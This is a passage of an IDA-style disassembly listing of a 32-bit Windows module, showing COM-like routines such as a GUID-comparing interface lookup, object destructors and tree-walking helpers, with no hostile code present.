		retn	8
sub_69B77E15	endp

; ---------------------------------------------------------------------------
		align 4
; char byte_69B78068[]
byte_69B78068	db 21h,	0		; DATA XREF: sub_69B77E15+A1o

; =============== S U B	R O U T	I N E =======================================



sub_69B7806A	proc near		; DATA XREF: .text:69B16A70o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B7806A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7808B	proc near		; CODE XREF: sub_69B16A74+53p
					; sub_69B784F7+18p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B16A14 SIZE 00000028 BYTES

		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B7809D
		mov	ecx, eax
		jmp	loc_69B16A14
; ---------------------------------------------------------------------------


loc_69B7809D:				; CODE XREF: sub_69B7808B+9j
		xor	eax, eax
		retn	4
sub_69B7808B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B780A2	proc near		; DATA XREF: .text:69B789F8o

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		add	ecx, 0FFFFFFC4h
		mov	eax, [ecx]
		call	dword ptr [eax+14h]
		xor	eax, eax
		inc	eax
		retn	4
sub_69B780A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B780B4	proc near		; DATA XREF: .text:69B789FCo

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		add	ecx, 0FFFFFFC4h
		mov	eax, [ecx]
		call	dword ptr [eax+18h]
		xor	eax, eax
		inc	eax
		retn	4
sub_69B780B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B780C6	proc near		; CODE XREF: sub_69B788D7+3j
					; DATA XREF: .text:69B14450o
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+28h]
		mov	ecx, [edi]
		xor	ebx, ebx
		cmp	ecx, ebx
		jz	short loc_69B780F4
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B774BB
		mov	eax, [edi]
		push	ebx
		add	eax, 0F0h
		push	eax
		call	sub_69B2DEB2
		push	ebx
		push	edi
		call	sub_69B17320


loc_69B780F4:				; CODE XREF: sub_69B780C6+Ej
		push	ebx
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_69B7DC68
sub_69B780C6	endp

; ---------------------------------------------------------------------------


loc_69B78126:				; CODE XREF: .text:69B788D2j
					; DATA XREF: .text:off_69B1441Co
		push	34h
		push	offset dword_69B782D0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B78149
		mov	eax, 80004005h
		jmp	loc_69B782B8
; ---------------------------------------------------------------------------


loc_69B78149:				; CODE XREF: .text:69B7813Dj
		mov	ebx, [ebp+8]
		push	ebx
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		and	dword ptr [ebp-2Ch], 0
		and	dword ptr [ebp-4], 0
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		mov	eax, [ebp+0Ch]
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B7817F
		push	ebx
		push	dword ptr [ebp+10h]
		call	sub_69B17320
		jmp	loc_69B782A0
; ---------------------------------------------------------------------------


loc_69B7817F:				; CODE XREF: .text:69B7816Fj
		push	4
		pop	ecx
		mov	edi, offset dword_69B2A558
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B781B8
		push	18h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-30h], ecx
		test	ecx, ecx
		jz	loc_69B78276
		mov	eax, [ebx+38h]
		mov	[ebp-34h], eax
		push	eax
		add	ebx, 24h
		push	ebx
		call	sub_69B1694C
		jmp	loc_69B78278
; ---------------------------------------------------------------------------


loc_69B781B8:				; CODE XREF: .text:69B7818Dj
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B0C0
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B781EA
		mov	eax, [ebx+38h]
		mov	[ebp-38h], eax
		push	eax
		push	ebx
		call	sub_69B8A09C


loc_69B781D5:				; CODE XREF: .text:69B7824Fj
					; .text:69B78253j
		mov	ecx, eax
		add	eax, 4
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	eax, [ebp+10h]
		mov	[eax], ecx
		jmp	loc_69B782A0
; ---------------------------------------------------------------------------


loc_69B781EA:				; CODE XREF: .text:69B781C6j
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B110
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B78209
		mov	eax, [ebx+38h]
		mov	[ebp-3Ch], eax
		push	eax
		push	ebx
		call	sub_69B8A09C
		jmp	short loc_69B78278
; ---------------------------------------------------------------------------


loc_69B78209:				; CODE XREF: .text:69B781F8j
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFE0
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B7825E
		push	4
		pop	ecx
		mov	edi, offset dword_69B782C0
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B7825E
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFC0
		mov	esi, eax
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B78255
		push	1Ch
		call	sub_69B1D897
		mov	[ebp-40h], eax
		test	eax, eax
		jz	short loc_69B78251
		push	ebx
		mov	ecx, eax
		call	sub_69B77918
		jmp	short loc_69B781D5
; ---------------------------------------------------------------------------


loc_69B78251:				; CODE XREF: .text:69B78245j
		xor	eax, eax
		jmp	short loc_69B781D5
; ---------------------------------------------------------------------------


loc_69B78255:				; CODE XREF: .text:69B78237j
		mov	dword ptr [ebp-2Ch], 80004002h
		jmp	short loc_69B782A0
; ---------------------------------------------------------------------------


loc_69B7825E:				; CODE XREF: .text:69B78217j
					; .text:69B78227j
		push	1Ch
		call	sub_69B1D897
		mov	[ebp-44h], eax
		test	eax, eax
		jz	short loc_69B78276
		push	ebx
		mov	ecx, eax
		call	sub_69B77918
		jmp	short loc_69B78278
; ---------------------------------------------------------------------------


loc_69B78276:				; CODE XREF: .text:69B7819Dj
					; .text:69B7826Aj
		xor	eax, eax


loc_69B78278:				; CODE XREF: .text:69B781B3j
					; .text:69B78207j ...
		mov	ecx, [ebp+10h]
		mov	[ecx], eax
		jmp	short loc_69B782A0
; ---------------------------------------------------------------------------


loc_69B7827F:				; DATA XREF: .text:69B782D4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B78288:				; DATA XREF: .text:69B782D8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-2Ch], eax


loc_69B782A0:				; CODE XREF: .text:69B7817Aj
					; .text:69B781E5j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B782B8:				; CODE XREF: .text:69B78144j
		call	sub_69B1853C
		retn	0Ch
; ---------------------------------------------------------------------------
dword_69B782C0	dd 310AFA62h, 11D20575h, 6000A99Ch, 393DECB0h					; .data:off_69B9A990o
dword_69B782D0	dd 0FFFFFFFFh			dd offset loc_69B7827F
		dd offset loc_69B78288

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B782DC(LPCWSTR lpString, int)

sub_69B782DC	proc near		; DATA XREF: .text:69B14410o

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+4]
		xor	ecx, ecx
		cmp	edi, ecx
		mov	[ebp+var_4], ecx
		jz	loc_69B7843E
		mov	eax, [ebp+lpString]
		cmp	eax, ecx
		push	ebx
		jz	short loc_69B78329
		cmp	[eax], cx
		jz	short loc_69B78329
		mov	edx, [esi+1Ch]
		shr	edx, 3
		test	dl, 1
		jz	short loc_69B7831A
		push	80070057h
		call	sub_69B2E8B8
		jmp	short loc_69B78329
; ---------------------------------------------------------------------------


loc_69B7831A:				; CODE XREF: sub_69B782DC+30j
		mov	ebx, [edi]
		push	ecx
		push	eax		; lpString
		call	sub_69B1A587
		push	eax
		mov	ecx, edi
		call	dword ptr [ebx+50h]


loc_69B78329:				; CODE XREF: sub_69B782DC+20j
					; sub_69B782DC+25j ...
		mov	ecx, [esi+4]
		call	sub_69B3D6C4
		test	eax, eax
		mov	[ebp+lpString],	eax
		jz	loc_69B7843D
		mov	ecx, [esi+10h]
		test	ecx, ecx
		jz	loc_69B7843D
		call	sub_69B3D6C4
		mov	edi, eax
		test	edi, edi
		jz	loc_69B7843D
		test	byte ptr [esi+1Ch], 1
		jnz	short loc_69B783AC
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+70h]
		cmp	eax, 2
		jnz	short loc_69B7839D
		mov	eax, [edi]
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	ecx, edi
		call	dword ptr [eax+68h]
		mov	ebx, eax
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 19h
		mov	[ebp+var_8], eax
		jg	short loc_69B78388
		call	sub_69B2E6D8


loc_69B78388:				; CODE XREF: sub_69B782DC+A5j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+70h]
		mov	[ebp+var_8], eax
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+38h]
		cmp	eax, [ebp+var_8]
		jz	short loc_69B783AC


loc_69B7839D:				; CODE XREF: sub_69B782DC+8Aj
		mov	ecx, [ebp+lpString]
		mov	eax, [ecx]
		call	dword ptr [eax+64h]
		mov	[ebp+lpString],	eax
		mov	ebx, edi
		jmp	short loc_69B783BD
; ---------------------------------------------------------------------------


loc_69B783AC:				; CODE XREF: sub_69B782DC+7Ej
					; sub_69B782DC+BFj
		or	dword ptr [esi+1Ch], 4
		mov	eax, [edi]
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	ecx, edi
		call	dword ptr [eax+68h]
		mov	ebx, eax


loc_69B783BD:				; CODE XREF: sub_69B782DC+CEj
		test	ebx, ebx
		jz	short loc_69B7843D
		push	50h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B783F4
		mov	ecx, [esi+1Ch]
		mov	edx, [esi+10h]
		mov	edi, [esi+4]
		shr	ecx, 3
		not	cl
		and	ecx, 0FFFFFF01h
		push	ecx
		push	0
		push	ebx
		push	edx
		push	[ebp+lpString]
		mov	ecx, eax
		push	edi
		call	sub_69B79659
		mov	edi, eax
		jmp	short loc_69B783F6
; ---------------------------------------------------------------------------


loc_69B783F4:				; CODE XREF: sub_69B782DC+EEj
		xor	edi, edi


loc_69B783F6:				; CODE XREF: sub_69B782DC+116j
		push	18h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B78411
		mov	ecx, [esi+4]
		push	dword ptr [ecx+3Ch]
		mov	ecx, eax
		push	edi
		call	sub_69B1699C
		jmp	short loc_69B78413
; ---------------------------------------------------------------------------


loc_69B78411:				; CODE XREF: sub_69B782DC+123j
		xor	eax, eax


loc_69B78413:				; CODE XREF: sub_69B782DC+133j
		push	eax
		add	esi, 0Ch
		push	esi
		call	sub_69B17320
		mov	eax, [esi]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	esi, [esi]
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+arg_4]
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jz	short loc_69B7843D
		push	eax
		call	sub_69B2E8B8


loc_69B7843D:				; CODE XREF: sub_69B782DC+5Aj
					; sub_69B782DC+65j ...
		pop	ebx


loc_69B7843E:				; CODE XREF: sub_69B782DC+14j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B782DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B78447	proc near		; DATA XREF: .text:69B14414o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		add	ecx, 8
		push	ecx
		call	sub_69B17320
		retn	4
sub_69B78447	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B78457	proc near		; DATA XREF: .text:69B14418o

arg_0		= dword	ptr  4

		lea	eax, [ecx+8]
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jnz	short locret_69B7846A
		push	0
		push	eax
		call	sub_69B17320

locret_69B7846A:			; CODE XREF: sub_69B78457+9j
		retn	4
sub_69B78457	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7846D	proc near		; CODE XREF: sub_69B77375+2Bp
					; sub_69B773BE+17p ...
		mov	eax, [ecx+30h]
		test	eax, eax
		jnz	short loc_69B78475
		retn
; ---------------------------------------------------------------------------


loc_69B78475:				; CODE XREF: sub_69B7846D+5j
		mov	eax, [eax+10h]
		retn
sub_69B7846D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B78479	proc near		; CODE XREF: sub_69B77375:loc_69B773B4p
					; sub_69B78A58+3p
		test	byte ptr [ecx+40h], 2
		jnz	short locret_69B7848A
		push	0
		add	ecx, 34h
		push	ecx
		call	sub_69B17320

locret_69B7848A:			; CODE XREF: sub_69B78479+4j
		retn
sub_69B78479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7848B	proc near		; CODE XREF: sub_69B78A78+130p
					; sub_69B78A78+291p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B49F0B
		xor	ebx, ebx
		mov	esi, eax
		inc	ebx
		test	esi, esi
		jz	short loc_69B784E3
		push	edi


loc_69B784A7:				; CODE XREF: sub_69B7848B+55j
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Ah
		mov	edi, eax
		jg	short loc_69B784B9
		call	sub_69B2E6D8


loc_69B784B9:				; CODE XREF: sub_69B7848B+27j
		mov	eax, [edi+74h]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		mov	eax, [eax+8]
		cmp	eax, [ebp+arg_4]
		jz	short loc_69B784E2
		mov	ecx, [ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B47DCC
		mov	esi, eax
		inc	ebx
		test	esi, esi
		jnz	short loc_69B784A7


loc_69B784E2:				; CODE XREF: sub_69B7848B+42j
		pop	edi


loc_69B784E3:				; CODE XREF: sub_69B7848B+19j
		mov	eax, [ebp+arg_8]
		mov	[eax], ebx
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_69B784F1
		mov	[eax], esi


loc_69B784F1:				; CODE XREF: sub_69B7848B+62j
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B7848B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B784F7	proc near		; CODE XREF: sub_69B7855F+8Fp
					; sub_69B7855F+FBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		push	dword ptr [edi+8]
		mov	ebx, ecx
		call	sub_69B77DD5
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B78525
		push	edi
		call	sub_69B7808B
		mov	esi, eax
		push	esi
		push	dword ptr [edi+8]
		mov	ecx, ebx
		call	sub_69B77DB1
		test	esi, esi
		jz	short loc_69B78557


loc_69B78525:				; CODE XREF: sub_69B784F7+15j
		push	[esp+0Ch+arg_4]
		mov	ecx, esi
		call	sub_69B77AC4
		cmp	[esp+0Ch+arg_4], 0
		jnz	short loc_69B78557
		mov	eax, [esi+10h]
		mov	ecx, eax
		shr	ecx, 1
		test	cl, 1
		jz	short loc_69B78557
		mov	ecx, eax
		shr	ecx, 4
		test	cl, 1
		jz	short loc_69B78553
		or	eax, 4
		mov	[esi+10h], eax


loc_69B78553:				; CODE XREF: sub_69B784F7+54j
		or	dword ptr [esi+10h], 10h


loc_69B78557:				; CODE XREF: sub_69B784F7+2Cj
					; sub_69B784F7+3Ej ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_69B784F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7855F	proc near		; CODE XREF: sub_69B7855F+AFp
					; sub_69B786CD+A1p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ecx+8]
		mov	eax, [eax+8]
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+48h]
		test	ecx, ecx
		jz	locret_69B7866D
		push	edi
		push	eax
		call	sub_69B1980A
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_C], edi
		jz	loc_69B7866C
		mov	ecx, [edi+2Ch]
		push	ebx
		push	esi
		mov	[ebp+var_8], ecx
		call	sub_69B8F18E
		mov	esi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	al, al
		mov	ebx, [ebp+arg_4]
		jz	short loc_69B78621


loc_69B785AD:				; CODE XREF: sub_69B7855F+BDj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	edi, eax
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1
		mov	[ebp+arg_4], eax
		jg	short loc_69B785C9
		call	sub_69B2E6D8


loc_69B785C9:				; CODE XREF: sub_69B7855F+63j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+10h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx+24h]
		test	al, al
		jnz	short loc_69B78613
		mov	ecx, [ebx+0Ch]
		push	0
		push	0
		push	edi
		call	sub_69B3DA18
		mov	ecx, [ebp+var_4]
		push	0
		push	eax
		call	sub_69B784F7
		mov	ecx, [ebp+var_8]
		push	edi
		mov	[ebp+arg_4], eax
		call	sub_69B8F80F
		test	al, al
		mov	ecx, [ebp+arg_4]
		jz	short loc_69B7860A
		or	dword ptr [ecx+10h], 4


loc_69B7860A:				; CODE XREF: sub_69B7855F+A5j
		push	ebx
		push	[ebp+arg_0]
		call	sub_69B7855F


loc_69B78613:				; CODE XREF: sub_69B7855F+7Aj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B785AD
		mov	edi, [ebp+var_C]


loc_69B78621:				; CODE XREF: sub_69B7855F+4Cj
		mov	edi, [edi+30h]
		test	edi, edi
		jz	short loc_69B7866A
		mov	ecx, edi
		call	sub_69B8A4F3
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B7866A
		jmp	short loc_69B7865F
; ---------------------------------------------------------------------------


loc_69B78637:				; CODE XREF: sub_69B7855F+109j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		cmp	byte ptr [eax+31h], 0
		jnz	short loc_69B7865F
		mov	eax, [eax+8]
		mov	ecx, [ebx+0Ch]
		push	0
		push	0
		push	eax
		call	sub_69B3DA18
		mov	ecx, [ebp+var_4]
		push	1
		push	eax
		call	sub_69B784F7


loc_69B7865F:				; CODE XREF: sub_69B7855F+D6j
					; sub_69B7855F+E3j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B78637


loc_69B7866A:				; CODE XREF: sub_69B7855F+C7j
					; sub_69B7855F+D4j
		pop	esi
		pop	ebx


loc_69B7866C:				; CODE XREF: sub_69B7855F+2Bj
		pop	edi

locret_69B7866D:			; CODE XREF: sub_69B7855F+17j
		leave
		retn	8
sub_69B7855F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B78671	proc near		; DATA XREF: .text:69B14E1Co
					; .text:69B16A48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B4713A
		test	[esp+4+arg_0], 1
		jz	short loc_69B78686
		push	esi
		call	sub_69B1829F


loc_69B78686:				; CODE XREF: sub_69B78671+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B78671	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7868C	proc near		; DATA XREF: .text:69B151BCo
					; .text:69B16AECo ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B786A7
		test	[esp+4+arg_0], 1
		jz	short loc_69B786A1
		push	esi
		call	sub_69B1829F


loc_69B786A1:				; CODE XREF: sub_69B7868C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7868C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B786A7	proc near		; CODE XREF: sub_69B7868C+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B786A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B786CD	proc near		; CODE XREF: sub_69B78A1F+14p
		push	1Ch
		push	offset dword_69B787B8
		call	sub_69B19C5C
		mov	edi, ecx
		mov	byte ptr [ebp-19h], 0
		test	byte ptr [edi+40h], 1
		jnz	loc_69B787A6
		mov	eax, [ebp+8]
		test	eax, eax
		jz	loc_69B787A6
		cmp	dword ptr [eax+48h], 0
		jz	loc_69B787A6
		mov	eax, [eax+5Ch]
		test	eax, eax
		jz	short loc_69B78709


loc_69B78705:				; CODE XREF: sub_69B786CD+57j
		mov	esi, eax
		jmp	short loc_69B78728
; ---------------------------------------------------------------------------


loc_69B78709:				; CODE XREF: sub_69B786CD+36j
		mov	ecx, [edi+28h]
		call	sub_69B3D6C4
		test	eax, eax
		jz	short loc_69B78726
		mov	ecx, [edi+28h]
		call	sub_69B3D6C4
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+3Ch]
		jmp	short loc_69B78705
; ---------------------------------------------------------------------------


loc_69B78726:				; CODE XREF: sub_69B786CD+46j
		xor	esi, esi


loc_69B78728:				; CODE XREF: sub_69B786CD+3Aj
		test	esi, esi
		jz	short loc_69B787A6
		and	dword ptr [ebp-4], 0
		call	sub_69B1BCCF
		mov	ebx, eax
		mov	[ebp-20h], ebx
		push	14h
		call	sub_69B17EF3
		mov	[ebp-24h], eax
		test	eax, eax
		jz	short loc_69B78752
		push	ebx
		mov	ecx, eax
		call	sub_69B16A74
		jmp	short loc_69B78754
; ---------------------------------------------------------------------------


loc_69B78752:				; CODE XREF: sub_69B786CD+79j
		xor	eax, eax


loc_69B78754:				; CODE XREF: sub_69B786CD+83j
		mov	[ebp-28h], eax
		push	esi
		call	sub_69B7808B
		mov	esi, eax
		mov	[ebp-2Ch], esi
		or	dword ptr [esi+10h], 8
		push	dword ptr [ebp-28h]
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	sub_69B7855F
		push	0
		push	dword ptr [ebp-28h]
		mov	ecx, esi
		call	sub_69B77E15
		push	eax
		mov	ecx, ebx
		call	sub_69B3D6D2
		push	ebx
		lea	ecx, [edi+34h]
		call	sub_69B199CC
		mov	byte ptr [ebp-19h], 1
		jmp	short loc_69B787A2
; ---------------------------------------------------------------------------


loc_69B78796:				; DATA XREF: .text:69B787BCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7879F:				; DATA XREF: .text:69B787C0o
		mov	esp, [ebp-18h]


loc_69B787A2:				; CODE XREF: sub_69B786CD+C7j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B787A6:				; CODE XREF: sub_69B786CD+16j
					; sub_69B786CD+21j ...
		mov	al, [ebp-19h]
		call	sub_69B1853C
		retn	4
sub_69B786CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B787B8	dd 0FFFFFFFFh			dd offset loc_69B78796
		dd offset loc_69B7879F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B787C4	proc near		; CODE XREF: sub_69B787C4+41p
					; sub_69B78A1F-D9p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	ebx, ecx
		mov	ecx, [ebp+arg_4]
		push	edi
		call	sub_69B77BCC
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+68h]
		jmp	short loc_69B78815
; ---------------------------------------------------------------------------


loc_69B787E5:				; CODE XREF: sub_69B787C4+55j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		test	eax, eax
		jnz	short loc_69B7880A
		push	eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B784F7
		push	eax
		push	edi
		mov	ecx, ebx
		call	sub_69B787C4


loc_69B7880A:				; CODE XREF: sub_69B787C4+2Aj
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+6Ch]


loc_69B78815:				; CODE XREF: sub_69B787C4+1Fj
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B787E5
		test	byte ptr [ebx+40h], 1
		jnz	short loc_69B78855
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+9Ch]
		jmp	short loc_69B78851
; ---------------------------------------------------------------------------


loc_69B78831:				; CODE XREF: sub_69B787C4+8Fj
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx+3Ch]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B784F7
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+0A0h]


loc_69B78851:				; CODE XREF: sub_69B787C4+6Bj
		test	eax, eax
		jnz	short loc_69B78831


loc_69B78855:				; CODE XREF: sub_69B787C4+5Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B787C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7885C	proc near		; CODE XREF: sub_69B78A04+3p

; FUNCTION CHUNK AT 69B3F2EC SIZE 00000019 BYTES

		push	esi
		mov	esi, ecx
		push	edi
		lea	eax, [esi+38h]
		lea	edi, [esi+24h]
		push	eax
		mov	dword ptr [esi], offset	off_69B1441C
		mov	dword ptr [esi+0Ch], offset off_69B2A550
		mov	dword ptr [edi], offset	off_69B143D8
		call	sub_69B17230
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17230
		mov	ecx, edi
		call	sub_69B18700
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	loc_69B3F2EC
sub_69B7885C	endp

; ---------------------------------------------------------------------------


loc_69B788B3:				; DATA XREF: .text:69B143E0o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B183AF
; ---------------------------------------------------------------------------


loc_69B788BD:				; DATA XREF: .text:69B143E4o
		sub	ecx, 24h
		jmp	sub_69B78A04
; ---------------------------------------------------------------------------


loc_69B788C5:				; DATA XREF: .text:69B143F4o
		sub	ecx, 24h
		jmp	sub_69B77AE6
; ---------------------------------------------------------------------------


loc_69B788CD:				; DATA XREF: .text:off_69B143D8o
		sub	dword ptr [esp+4], 24h
		jmp	loc_69B78126

; =============== S U B	R O U T	I N E =======================================



sub_69B788D7	proc near		; DATA XREF: .text:69B1440Co
		sub	ecx, 24h
		jmp	sub_69B780C6
sub_69B788D7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B78A1F


loc_69B788DF:				; CODE XREF: sub_69B78A1F+32j
		push	20h
		push	offset dword_69B78988
		call	sub_69B19C5C
		mov	ebx, ecx
		and	dword ptr [ebp-4], 0
		call	sub_69B1BCCF
		mov	[ebp-1Ch], eax
		push	14h
		call	sub_69B17EF3
		mov	[ebp-20h], eax
		test	eax, eax
		jz	short loc_69B78913
		push	dword ptr [ebp-1Ch]
		mov	ecx, eax
		call	sub_69B16A74
		jmp	short loc_69B78915
; ---------------------------------------------------------------------------


loc_69B78913:				; CODE XREF: sub_69B78A1F-11Aj
		xor	eax, eax


loc_69B78915:				; CODE XREF: sub_69B78A1F-10Ej
		mov	[ebp-24h], eax
		mov	ecx, [ebx+28h]
		mov	[ebp-28h], ecx
		call	sub_69B3D6C4
		mov	edi, eax
		mov	[ebp-2Ch], edi
		test	edi, edi
